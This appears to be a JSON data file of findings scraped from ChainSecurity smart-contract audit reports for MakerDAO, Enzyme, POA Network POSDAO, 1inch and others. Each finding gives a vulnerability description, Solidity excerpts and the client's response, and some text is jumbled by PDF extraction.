Forwarder.updateOffer. It is important for users to remember that, in case the makerExecute hook to their order fails, they will have to reimburse the taker. A reason for an order to fail is that there is not enough allowance given to the router to transfer funds from the maker's reserve to MangroveOrder contract. This is highly likely to happen after a user updates their offer by having it give more funds to the taker. Mangrove Association (ADDMA) - MangroveOrder - 20 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "5.1 Cure.cage() Might Block Shutdown Procedure", "body": " The cage function of the Cure contract, when called, requires that live is 1 and sets it to 0 : function cage() external auth { require(live == 1, \"Cure/not-live\"); live = 0; /*...*/ } The function is meant to be called from the End contract : function cage() external auth { /*...*/ cure.cage(); /*...*/ } If an authorized user (the Governance) were to call the cage function of the Cure contract before the End contract, then live would be 0, therefore the call to cage would revert, effectively blocking the shutdown process. Risk Accepted: MakerDAO states: We accept this risk as it is, and actually exists in other modules such as the Vow. We understand each governance action might have important consequences. Each spell needs to be carefully evaluated. MakerDAO - DSS Cure - 9 DesignCriticalHighMediumRiskAcceptedLowAcknowledgedDesignMediumVersion1RiskAccepted \f5.2 Possible Optimizations When using a uint256 as a boolean value, it is more efficient to check if it is non-zero than to check if it is equal to 1. Both the auth modifier and the liveness checks can be optimized in order to reduce gas costs and bytecode size. The auth modifier could be implemented as follows: modifier auth { require(wards[msg.sender] != 0, \"Cure/not-authorized\"); _; } The liveness could be checked like this: require(live != 0, \"Cure/not-live\"); In total these changes reduce the bytecode size by 36 bytes and the cost of each check by 6 gas. Acknowledged: Rather than prioritizing minimal gas optimization Maker prefers to follow the standard of how things have been done before. MakerDAO - DSS Cure - 10 DesignLowVersion1Acknowledged \f6 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-cure/"}, {"title": "6.1 Delete Amt[Src] in Drop Function Is Useless", "body": " In the drop function, the entry in the mapping amt that corresponds to the source that is removed is deleted : function drop(address src) external auth { /*...*/ delete amt[src]; /*...*/ } This function can only be executed when the Cure contract is live : function drop(address src) external auth { require(live == 1, \"Cure/not-live\"); /*...*/ } On the other hand, the amt mapping can only be updated in the load function, which can only be executed when the Cure contract has been caged : function load(address src) external { require(live == 0, \"Cure/still-live\"); /*...*/ uint256 newAmt_ = amt[src] = SourceLike(src).cure(); /*...*/ } Since the Cure contract cannot become live again after it has been caged, the amt mapping cannot be non zero during a call to drop, thus it is useless to remove the entry. MakerDAO - DSS Cure - 11 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-cure/"}, {"title": "5.1 Temporary DOS Through Donations", "body": " In Notional, depositing collateral for others is possible. For example, depositUnderlyingToken can deposit collateral to another address than msg.sender. Hence, it is possible to donate collateral to a position in such a way that it becomes tracked within the Notional system. Since the external position computes the managed assets based on what Notional's getAccount returns, such donations will become visible to the external position. Hence, it could be possible to temporarily DOS the position by donating to it an unsupported token. Acknowledged: Avantgarde Finance replied: Preventative measures for this are challenging and add complexity, so since the worst case is that the position will have a reverting price, and since the owner can resolve this state by removing that collateral, we will provide a fix if this ever becomes an issue in practice. Avantgarde Finance - Sulu Extensions VI - 11 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedDesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Balancer Price Feed Vulnerable to Read-Only Reentrancy -Severity Findings Borrowing From cTokens With Same Underlying Can Lead to Unreported Debt -Severity Findings Remaining BPT in Adapter mulUp Incorrect Comment 0 1 1 2 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-vi/"}, {"title": "6.1 Balancer Price Feed Vulnerable to Read-Only", "body": " Reentrancy Balancer's system is vulnerable to read-only reentrancy. During the removal of liquidity, an inconsistency between the total supply and a pool's balances can be created (using native ETH transfers). That can be leveraged to manipulate the price feed upwards - leading to an over-evaluation of the fund. Now, a reentrancy protected call to setRelayerApproval() is made when the price is computed to ensure that Balancer is not reentered. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-vi/"}, {"title": "6.2 Borrowing From cTokens With Same", "body": " Underlying Can Lead to Unreported Debt Some cTokens may have the same underlying (e.g. cWBTC and cWBTC2). The parser validates the cTokens to borrow from as follows: // validate ctokens for (uint256 i; i < cTokens.length; i++) { address cTokenStored = ICompoundDebtPosition(_externalPosition) .getCTokenFromBorrowedAsset(assets[i]); if (cTokenStored == address(0)) { Avantgarde Finance - Sulu Extensions VI - 12 CriticalHighCodeCorrectedMediumCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedSecurityHighVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \f require( CompoundPriceFeed(getCompoundPriceFeed()).getTokenFromCToken(cTokens[i]) == assets[i], \"parseAssetsForAction: Bad token cToken pair\" ); } else { require( cTokenStored == cTokens[i], \"parseAssetsForAction: Assets can only be borrowed from one cToken\" ); } } Note that the validation aims to prohibit borrowing from two cTokens that have the same underlying. In most cases, this works correctly. However, borrowing from both cTokens (with the same underlying) for the first time in the same action will bypass the validation. Consider the following scenario: 1. Borrow for the first time from both cWBTC and cWBTC2. 2. In the first iteration of the loop, cTokenStored will be 0x0 due to WBTC never being borrowed. 3. In the second iteration of the loop, cTokenStored will still be 0x0 since the mapping in the external position has not been updated yet. The update will happen in __borrowAssets, after the parser returns. This will allow the external position to borrow from both cTokens. Note that __borrowAssets will only keep track of the first cToken. Hence, debt of the second cToken will not be tracked. The total debt will be underreported in such a scenario. The parser now solely validates against the price feed while the library now validates against the stored cToken. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-vi/"}, {"title": "6.3 Remaining BPT in Adapter", "body": " Avantgarde Finance reported an issue when redeeming Balancer LP tokens. It was possible to redeem BPTs so that a maximum amount of burned LP tokens is specified along with exact received underlying amounts. If the maximum was not reached, the BPT remained in the adapter. After redemption, any surplus BPT remaining in the contract is sent back to the vault proxy. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-vi/"}, {"title": "6.4 mulUp Incorrect Comment", "body": " function mulUp(uint256 _a, uint256 _b) internal pure returns (uint256 res_) { uint256 product = _a * _b; require(_a == 0 || product / _a == _b, \"mul overflow\"); Avantgarde Finance - Sulu Extensions VI - 13 CorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChanged \f if (product == 0) { return 0; } else { // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((product - 1) / ONE) + 1; } } The comment in the mulUp() function of BalancerV2FixedPoint mentions divUp. It was likely copied from there and not changed. This issue is also present in the Balancer contract that mulUp() was adopted from. Specification changed: The comments in the files were adapted to reflect that the comments are not reviewed. Avantgarde Finance - Sulu Extensions VI - 14 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-vi/"}, {"title": "6.1 EIP-170 Mix Up / Unlimited Contract Size", "body": " EIP-170 has been introduced into the Ethereum mainnet with the Spurious Dragon hardfork in order to limit the maximum codesize of a contract. The short specification of the EIP reads: ... if contract creation initialization returns data with length of more than 0x6000 (2**14 + 2**13) bytes, contract creation fails with an out of gas error. The data returned by the contract creation initialization is the code of the newly deployed smart contract that will be stored as the code of the smart contract. This is valid regardless wether the contract has been deployed directly from a transaction or a during code execution of a CREATE / CREATE2 opcode. For more details please refer to chapter 7 of the Ethereum Yellowpaper. The TxPermissionBased contract _deployerInputLengthLimit. There is an annotated function for the owner to set this variable: the POSDAO system attempts to enforce a in /// @dev Sets the limit of `input` transaction field length in bytes /// for contract deployment transaction made by the specified deployer. /// @param _deployer The address of a contract deployer. POA Network - POSDAO - 15 DesignCorrectnessCriticalHighRiskAcceptedMediumRiskAcceptedAcknowledgedRiskAcceptedAcknowledgedLowAcknowledgedRiskAcceptedAcknowledgedAcknowledgedCorrectnessHighVersion1RiskAccepted \f/// @param _limit The maximum number of bytes in `input` field of deployment transaction. /// Set it to zero to reset to default 24Kb limit defined by EIP 170. And inside the _allowedTxTypes function which is annotated with: /// @dev Defines the allowed transaction types which may be initiated by the specified sender with /// the specified gas price and data. Used by node's engine each time a transaction is about to be /// included into a block. there is: if (_to == address(0) && _data.length > deployerInputLengthLimit(_sender)) { // Don't let to deploy too big contracts return (NONE, false); } There is a mixup here: What the TxPermission contract actually limits with this parameter is the lenght of the data field of the transaction, not the limit of a contract's code size. This has nothing to do with EIP-170. Hence if the limit is only \"enforced\" by the TxPermission contract and there is no further limit set in the chain specification anyone may deploy a contract of arbitrary size, limited only by the gas limit. EIP-170 is not activated in the template/spec.json chain sepcification file available in the repository. Note that the Ethereum mainnet has no excplicit limit on the data field of a transaction (called input in the function description in POSDAO). This is only limited by the gas limit of a block. Ethereum Yellowpaper: https://ethereum.github.io/yellowpaper/paper.pdf EIP-170 Specification: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-170.md Risk Accepted: POA Network accepts this risk and states: Some popular projects on xDai require the abi lity to deploy contracts with size greater than 24 Kb. The limit on transacti on size is intended as an easy protection against script kiddies. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "6.2 Changing Mining and Staking Addresses", "body": " While Banned ValidatorSetAuRa allows to change the mining and staking address while a pool is banned. This updates the state, including: idByStakingAddress[oldStakingAddress] = 0; idByStakingAddress[_newStakingAddress] = poolId; or idByMiningAddress[_oldMiningAddress] = 0; idByMiningAddress[_newMiningAddress] = _poolId; The available specification does not cover this scenario and it remains unclear if this should be possible or not. POA Network - POSDAO - 16 DesignMediumVersion1RiskAccepted \fIn case of a change of the mining address while a pool is banned, the return value of following functions may be unexpected for the caller: /// @dev Returns the block number when the ban will be lifted for the specified mining address. /// @param _miningAddress The mining address of the pool. function bannedUntil(address _miningAddress) public view returns(uint256) { return _bannedUntil[idByMiningAddress[_miningAddress]]; } bannedUntil() will return 0 if the mining address of the banned pool has been changed even though the pool is banned. function isValidatorBanned(address _miningAddress) public view returns(bool) { uint256 bn = bannedUntil(_miningAddress); if (bn == 0) { // Avoid returning `true` for the genesis block return false; } return _getCurrentBlockNumber() <= bn; } This holds similarly for this function which notably is querried by BlockRewardAuRaBase.reward(). Within the system one such address can only be used once for an unique purpose, e.g. an address that has been a mining or staking address once cannot be reused anymore. This is tracked by following mappings: mapping(address => uint256) public hasEverBeenMiningAddress; mapping(address => bool) public hasEverBeenStakingAddress; The information to which pool the mining address once belonged to is availabe in this mapping. Risk accepted: POA Network states this is expected behavior in order to allow pools to change their staking or mining address if they are compromised during the ban period. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "6.3 Incoherent Event ChangedMiningAddress", "body": " Emitted To change a mining address, changeMiningAddress is called from the participants staking address. If the participant is a current validator, the change is not done immediately. This emits the InitiateChange. Additionally, the function will always emit the ChangedMiningAddress event. Given the name of the event and that it is also emitted when the mining address is changed immediately because the participant is not part of the current validator set, this seems incoherent. As the event name suggests, the event should be emitted only when the mining address is changed or maybe renamed. Acknowledged: POA Network is aware that the ChangeMiningAddress event only corresponds to the immediate change of the mining address when a pool is not a validator. Unfortunately no events can be emitted at POA Network - POSDAO - 17 DesignMediumVersion1Acknowledged \fthe moment of the real change for the delayed case inside the system's finalizeChange function as events cannot be emitted during execution of this system operation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "6.4 Limitations of the TxPermissions Contract", "body": " The _allowedTxTypes function of the TxPermissions contract is applied to all transactions to be include into a block. However this means all checks are only done on external transactions created from externally owned accounts, internal transactions (calls within transactions) are not subject to these checks. Some of these checks including e.g. if (validatorSetContract.isValidator(_to)) { // Validator's mining address can't receive any coins return (NONE, false); } can be circumvented by internal transaction. Internal transactions are calls from within bytecode execution, e.g. during execution of a smart contract. Risk Accepted: POA Network is aware that the rules defined by the TxPermissions contracts are only applied to transactions of EOAs. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "6.5 Role Switch Needed", "body": " The TokenMinter contract calls permissioned functions. These are mint, setBridgeContract, transferOwnership. To successfully call these functions, the TokenMinter contract needs to be the owner of the ERC677MultiBridgeToken contract. token contract Regarding the setBridgeContract we have opened a separate issue because this call will always fail. But the ERC677MultiBridgeToken contract also implements other functions that are permissioned to be called only by the owner. Given the TokenMinter contract is the owner these functions could not be are: addBridge, removeBridge, setBlockRewardContract, called. These setStakingcontract. functions To call this functions, the ownership needs to be transferred from the minter contract to an other contract and then back. This seems undesirable. Acknowledged: POA Network explains that the TokenMinter contract is used as an intermediate owner contract for the PermittableToken contract wich represents the STAKE token. To clarify this, comments where added to the TokenMinter contract. POA Network - POSDAO - 18 DesignMediumVersion1RiskAcceptedDesignMediumVersion1Acknowledged \f6.6 Gas Inefficiency During Removal From Array The staking contract keeps track of the pools using multiple arrays. When an entry has to be removed, this is done as in the following example: uint256 indexToDelete = poolToBeRemovedIndex[_poolId]; if (_poolsToBeRemoved.length > indexToDelete && _poolsToBeRemoved[indexToDelete] == _poolId) { uint256 lastPool = _poolsToBeRemoved[_poolsToBeRemoved.length - 1]; _poolsToBeRemoved[indexToDelete] = lastPool; poolToBeRemovedIndex[lastPool] = indexToDelete; poolToBeRemovedIndex[_poolId] = 0; _poolsToBeRemoved.length--; } In case that the removed entry was already last in the list two SSTORE and one SLOAD operation could have been skipped. Acknowledged: Client states that this operation is quiet rare and, hence, will not change the implementation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "6.7 Inconsistent Use of Safemath", "body": " The code has multiple calculations including multiplications and divisions without safemath. Even though we could not find a place where we think calculation would over or underflow, the consistent use of safemath would ensure this. Risk accepted: Safe math was not used intentionally in critical functions to not cause reverts and risk a network break down. Hence, POA network accepted the risk. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "6.8 Potentially Compromised Key Needed to", "body": " Change Key To change a potentially compromised staking key, the staking key is needed. Even though, the mining key is not used for tasks like key changes, in this case it might make sense from a security perspective. One reason to change a key is that it might be corrupted. In this case, it might be safer to use an other already existing key to change it. Acknowledged: POA network wants to keep the strong separation regarding the key usage. POA Network - POSDAO - 19 DesignLowVersion1AcknowledgedDesignLowVersion1RiskAcceptedDesignLowVersion1Acknowledged \f6.9 Superfluous Call of _finalizeNewValidators changeMiningAddress sets _finalizeValidators.list to the unedited _pendingValidators. In finalizeChange triggers _finalizeNewValidators. _finalizeNewValidators first removes all validators and then adds the same. This seems unnecessary. Additionally, the comment suggest another use case for the else if. true and the else condition to be causes this if Acknowledged: POA network acknowledged the issue but decided to leave the code unchanged. POA Network - POSDAO - 20 DesignLowVersion1Acknowledged \f7 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 0 3 7 -Severity Findings -Severity Findings -Severity Findings Failing Function Call No Canonical Definition of Calldata for onTokenTransfer claimOrderedWithdraw Not Always Successful -Severity Findings Incorrect Comment in finalizeChange Incorrect Description Make onTokenTransfer() External Multiplication After Division No Indexed Fields for ReportedMalicious Unchecked Return Value of Transfer certify Missing Sanity Check ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "7.1 Failing Function Call", "body": " The TokenMinter contract implements the function setBridgeContract which should call tokenContract.setBridgeContract. The setBridgeContract function does not exists in the ERC677MultiBridgeToken contract. Hence, the function call would fail and the interface definition at the beginning is incorrect. Specification changed: POA Network explains that the TokenMinter contract is used as an intermediate owner contract for the PermittableToken contract wich represents the STAKE token. To clarify this, comments where added to the TokenMinter contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "7.2 No Canonical Definition of Calldata for ", "body": " onTokenTransfer POA Network - POSDAO - 21 CriticalHighMediumSpeci\ufb01cationChangedSpeci\ufb01cationChangedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignMediumVersion1Speci\ufb01cationChangedCorrectnessMediumVersion1Speci\ufb01cationChanged \fThe function onTokenTransfer uses inline assembly to read the receiver and calldata from the calldata arguments. The assembly strongly relies on some assumptions about the argument encoding of the Solidity. One of them is that there are no \"garbage bits\" between the byte offset of the bytes calldata _data variable and the length field of the bytes calldata _data argument. This assumption will hold true in most cases, but is not guaranteed to hold. This assumption can be eliminated letting the compiler copy the _data into the memory and dealing with it there. Full expectations about the expected information in the _data argument must be properly documented, to avoid the misinterpretation of the interface. function onTokenTransfer( address _from, uint256 _value, bytes calldata _data ) external returns (bool) { A similar situation can be found in the TxPermissions contract. Specification Changed: The code has been commented as follows: // It is assumed that the `_data` field contains the `length` field in its first 32 bytes. // There are data bytes right after the `length` field (without \"garbage bits\" between them). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "7.3 claimOrderedWithdraw Not Always", "body": " Successful After using the StakingAuRa.orderWithdraw() function the validator can complete the withdrawal starting from the next epoch using claimOrderedWithdraw(). To prevent abuse, this function queries _isWithdrawAllowed once more in order to determined if the validator may have been banned in the meantime. However _isWithdrawAllowed also includes a check whether staking or withdrawals are currently allowed using areStakeAndWithdrawAllowed(). Normally such actions are not allowed near the end of a staking epoch in order to not interfere with the validator selection process. Note that claiming a previously ordered withdrawal has no influence on this and hence shouldn't be subject to this restriction. If a party happens to claim their withdrawal at the end of an epoch their withdrawal fails without apparent reason. The _isWithdrawAllowed function has been refactored and parts of it's functionality has been moved into a new _isPoolBanned() function. This function is now querried in claimOrderedWithdraw() which resolves problem with the blocked withdrawals at the end of an epoch as described above. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}] \ No newline at end of file diff --git a/results/chainsecurity_findings_4.json b/results/chainsecurity_findings_4.json new file mode 100644 index 0000000..0e5d9c8 --- /dev/null +++ b/results/chainsecurity_findings_4.json @@ -0,0 +1 @@ +[{"title": "7.4 Incorrect Comment in finalizeChange", "body": " POA Network - POSDAO - 22 DesignMediumVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \fThe comment in the else if branch suggest, it is only been executed in case of malicious validator reporting. But the code is also executed in case of mining address changes. The code comments were corrected and elaborated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "7.5 Incorrect Description", "body": " In StakingAuRaBase the function description of _stake(address, address, uint256) is // @dev The internal function used by the `_stake` and `moveStake` functions. But function is also used in initialValidatorStake, _addPool. The code comments were corrected and elaborated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "7.6 Make onTokenTransfer() External", "body": " Function StakingAuraTokens.onTokenTransfer() has visibility public. This means the function can be called externally and internally from within the contract. Inside this function the calldata is read. This is the data passed alongside the call to the contract and remains unchanged if another function within the contract executes another contract as on a bytecode level this is only a JUMP. Function onTokenTransfer is currently only called from externally and not internally from within the StakingAuraTokens contract. Hence, the calldata consists of the function arguments as expected. Due to the dependency on calldata the functions visibility may be external instead of public to avoid the function being called from within the contract accidentally during future code changes. The function visibility as well as the reads from memory were changed accordingly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "7.7 Multiplication After Division", "body": " In ValidatorSetAuRa.reportMaliciousCallable() a multiplication is performed after a division: POA Network - POSDAO - 23 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \faverageReportsNumber = (reportsTotalNumber - reportsNumber) / (validatorsNumber - 1) [...] reportsNumber > validatorsNumber * 50 && reportsNumber > averageReportsNumber * 10 Due to possible precision loss, this should be avoided. The multiplication is now done before division. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "7.8 No Indexed Fields for ReportedMalicious", "body": " The ReportedMalicious event has multiple fields that might be worth indexing. No field is indexed. POA Network might re-evaluate if this is desired. The event has now indexed fields. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "7.9 Unchecked Return Value of Transfer", "body": " BlockRewardAuRaTokens.transferReward() In and StakingAuRaTokens._sendWithdrawnStakeAmount() the boolean return value of the call to erc677TokenContract.transfer() is ignored. While most ERC-20 Tokens (ERC-677 implements the ERC-20 Standard) and the ERC677 token implementation available in the repository revert upon failure, the standard does not require this and returning false instead of reverting is valid according to the standard. As the POSDAO system is highly customizable the situation may arises where a token contract not reverting on failure is used. Similarly return TokenMinter.mintReward() is also ignored. value the of the call to tokenContract.mint() inside The transfer functions are wrapped into a require. The mint function remained as it is since it is called by the BlockReward.reward function which is critically sensible for reverting according to POA network. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "7.10 certify Missing Sanity Check", "body": " The Certifier implements certify. The function allows certifying the same address multiple times. The Confirmed event would be emitted misleadingly multiple times. POA Network - POSDAO - 24 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f An appropriate sanity check was added. POA Network - POSDAO - 25 \f8 Notes We leverage this section to highlight potential pitfalls which are fairly common when working Distributed Ledger Technologies. As such technologies are still rather novel not all developers might yet be aware of these pitfalls. Hence, the mentioned topics serve to clarify or support the report, but do not require a modification inside the project. Instead, they should raise awareness in order to improve the overall understanding for users and developers. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "8.1 Avoiding Function Identifier Clashes", "body": " The current proxy scheme is vulnerable to duplicated 4-byte function identifiers which could result in a function identifer clash. POA Network prevents this by using an off-chain script to check for clashes. There are also on-chain solutions like the upgradable transparent proxy solution by OpenZeppelin which might be worth considering. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "8.2 ERC677 Standard Is a DRAFT", "body": " The ERC677 standard is based on a eip having draft status since it's creation in 2017. Such standards are subject to changes before the eip's status is finalized. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "8.3 Most of the RedBlackTree Library Functions", "body": " Unused Following function of the RedBlockTree Library are unused and hence dead code. BokkyPooBahsRedBlackTreeLibrary.first() BokkyPooBahsRedBlackTreeLibrary.getEmpty() BokkyPooBahsRedBlackTreeLibrary.getNode() BokkyPooBahsRedBlackTreeLibrary.isEmpty(uint256) BokkyPooBahsRedBlackTreeLibrary.next() BokkyPooBahsRedBlackTreeLibrary.treeMinimum() Note as the functions are not used within the POSDAO system these were not reviewed as part of this audit. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "8.4 Pragma Experimental ABIEncoderV2", "body": " Contract TxPriority uses pragma experimental ABIEncoderV2. In the compiler version choosen the new ABI encoder is still considered to be experimental. POA Network - POSDAO - 26 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f8.5 UTF-8 Charset The validator and the staking contract allow names to be set for pools. The charset for string is UTF-8. UTF-8 has some similar looking characters, which for a human reader some of these letters are indistinguishable. This allows so called visual spoofing of names. Users and front-end developper should excercise extra caution. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "8.6 Unreliable Event Emission When Mining", "body": " Address Is Changed When reporting a malicious validator, the mining address is used and the following event emitted. The _maliciousMiningAddress might change between multiple reportings. Hence, the mining address is no reliable information to process from across multiple events. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "8.7 Unused Code _removeMaliciousValidator", "body": " The ValidatorSetAuRa contract implements the function _removeMaliciousValidator. This function is not called at all. The only function it appears is in _removeMaliciousValidators. But it is commented out there. Furthermore, the function _removeMaliciousValidators does not do anything except for setting lastChangeBlock. Hence, also removeMaliciousValidators is basically only setting this variable. This also affects parts of reportMalicious. We were verbally informed that client is aware of this and this will be fixed for the final review. Else, this would turn into an issue. POA Network - POSDAO - 27 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-posdao/"}, {"title": "5.1 Consistency on Zero Amount Transfers", "body": " The function BasicDelegationPod._updateBalances does not trigger mint/burn/transfer of delegation shares (an ERC20Pods token) on 0 amount. The ERC20 standard specifies Note Transfe rs of 0 values MUST be treated as normal transfers and fire the Transfer even t.. 1inch - Delegation - 9 SecurityDesignCorrectnessCriticalHighMediumLowDesignLowVersion2 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Possible Frontrunning on Registration Pod.updateBalances() Cannot Transfer ERC20Pods -Severity Findings Allowances Not Completely Disabled -Severity Findings Broken C-E-I Pattern Inconsistency and Zero Address Check on register() No Event upon Registering Delegatee 0 2 1 3 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-delegation/"}, {"title": "6.1 Possible Frontrunning on Registration", "body": " If a delegatee already deployed its DelegatedShare contact on its own and want to register it with register(IDelegatedShare shareToken, address defaultFarm), another user could front run the transaction and register the already deployed contract in place of the true delegatee, who won't be able to register the contract for itself. This can become problematic if the DelegatedShare contract already has some accounting done. The register(IDelegatedShare shareToken, address defaultFarm) function has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-delegation/"}, {"title": "6.2 Pod.updateBalances() Cannot Transfer", "body": " ERC20Pods least one pod involved): Using Pod.updateBalances() cannot transfer (including mint or burn) tokens of another ERC20Pods (with to at updateBalances() of a pod is executed with _POD_CALL_GAS_LIMIT amount of gas. Currently this value is hardcoded to 200_000. A transfer of an ERC20Pods within updateBalances() would trigger _updateBalances() of this ERC20Pods. The current call executing with this amount of gas cannot forward another 200_000 gas and hence the execution reverts. implementation of ERC20Pods the default the call 1inch - Delegation - 10 CriticalHighCodeCorrectedCodeCorrectedMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedDesignHighVersion1CodeCorrectedDesignHighVersion1CodeCorrected \ffunction _updateBalances(address pod, address from, address to, uint256 amount) private { bytes4 selector = IPod.updateBalances.selector; bytes4 exception = InsufficientGas.selector; assembly { // solhint-disable-line no-inline-assembly let ptr := mload(0x40) mstore(ptr, selector) mstore(add(ptr, 0x04), from) mstore(add(ptr, 0x24), to) mstore(add(ptr, 0x44), amount) if lt(div(mul(gas(), 63), 64), _POD_CALL_GAS_LIMIT) { mstore(0, exception) revert(0, 4) } pop(call(_POD_CALL_GAS_LIMIT, pod, 0, ptr, 0x64, 0, 0)) } The design of RewardableDelegationPod however requires this and hence cannot work. Despite Within RewardableDelegationPod.updateBalances() the call to the DelegatedShare token (which is ERC20Pods, and the accounts are connected to at least the farm pod) is wrapped within try/catch. with best effort of having consistent shares the accounting is totally off. A transfer of the underlying ERC20Pod which triggers RewardableDelegationPod.updateBalances() will never successfully execute registration[_delegate].burn(from, amount)/ registration[_del egate].mint(from, amount). These calls only succeed when updateBalances() is called with sufficient gas, e.g. using DelegatedShare.addPod(). annotated function being itself the The root of the issue has been addressed in ERC20Pods. The amount of gas for each of the calls in ERC20Pods._updateBalances() is no longer hardcoded in ERC20Pods but passed as constructor parameter. The ERC20Pods that is DelegatedShare has a fixed 100_000 gas for each of the in callbacks. ERC20Pods->RewardableDelegationPod->ERC20Pods``, developers must be careful to set the correct amount of gas in each of them for the system to work. ERC20Pods stacked When two like are function RewardableDelegationPod.updateBalances has been updated to call The mint()/burn() without try/catch blocks so that every call to DelegatedShare.mint()/burn() must be successful. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-delegation/"}, {"title": "6.3 Allowances Not Completely Disabled", "body": " BasicDelegationPod overwrites and inhibits functions transfer, transferFrom and approve. The increaseAllowance and decreaseAllowance functions inherited from OpenZeppelin's ERC20 implementation are not overridden and hence can be used. The functions increaseAllowance and decreaseAllowance have been explicitely disabled. 1inch - Delegation - 11 CorrectnessMediumVersion1CodeCorrected \f6.4 Broken C-E-I Pattern in The check-effects-interaction pattern delegated mapping after _updateAccountingOnDelegate, this could lead to reentrancy or other unexpected behaviors. function BasicDelegationPod.delegate. The upon contract interaction possible updated is is a The mapping update and event have been moved before the call to _updateAccountingOnDelegate. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-delegation/"}, {"title": "6.5 Inconsistency and Zero Address Check on ", "body": " register() In function register(IDelegatedShare shareToken, address defaultFarm), it is possible to provide shareToken=address(0), this would allow one user to add a default farm for the zero address, and to call on of the register() functions once again, which should not be possible. The register(IDelegatedShare shareToken, address defaultFarm) function has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-delegation/"}, {"title": "6.6 No Event upon Registering Delegatee", "body": " Events are used to be informed of or to keep track of transactions changing the state of a contract. Generally, any important state change should emit an event. Both functions used 